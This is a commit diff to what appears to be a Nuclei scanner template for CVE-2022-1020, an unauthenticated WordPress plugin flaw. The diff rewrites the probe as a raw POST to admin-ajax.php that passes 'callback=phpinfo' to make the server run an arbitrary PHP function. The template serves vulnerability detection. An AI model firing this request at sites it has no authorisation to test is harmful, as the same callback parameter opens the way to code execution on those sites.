Update CVE-2022-1020.yaml

2022-04-22 17:20:27 +04:00 · 2022-04-22 17:20:27 +04:00 · b685ac8072
parent 36bc825ad8
commit b685ac8072
1 changed files with 7 additions and 3 deletions
--- a/cves/2022/CVE-2022-1020.yaml
+++ b/cves/2022/CVE-2022-1020.yaml
@ -11,9 +11,13 @@ info:
  tags: wp,wp-plugin,wordpress,cve,cve2022,unauth

 requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option&option_key=a&perpose=update&callback=phpinfo'
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php?action=wpt_admin_update_notice_option HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        option_key=a&perpose=update&callback=phpinfo

    matchers-condition: and
    matchers: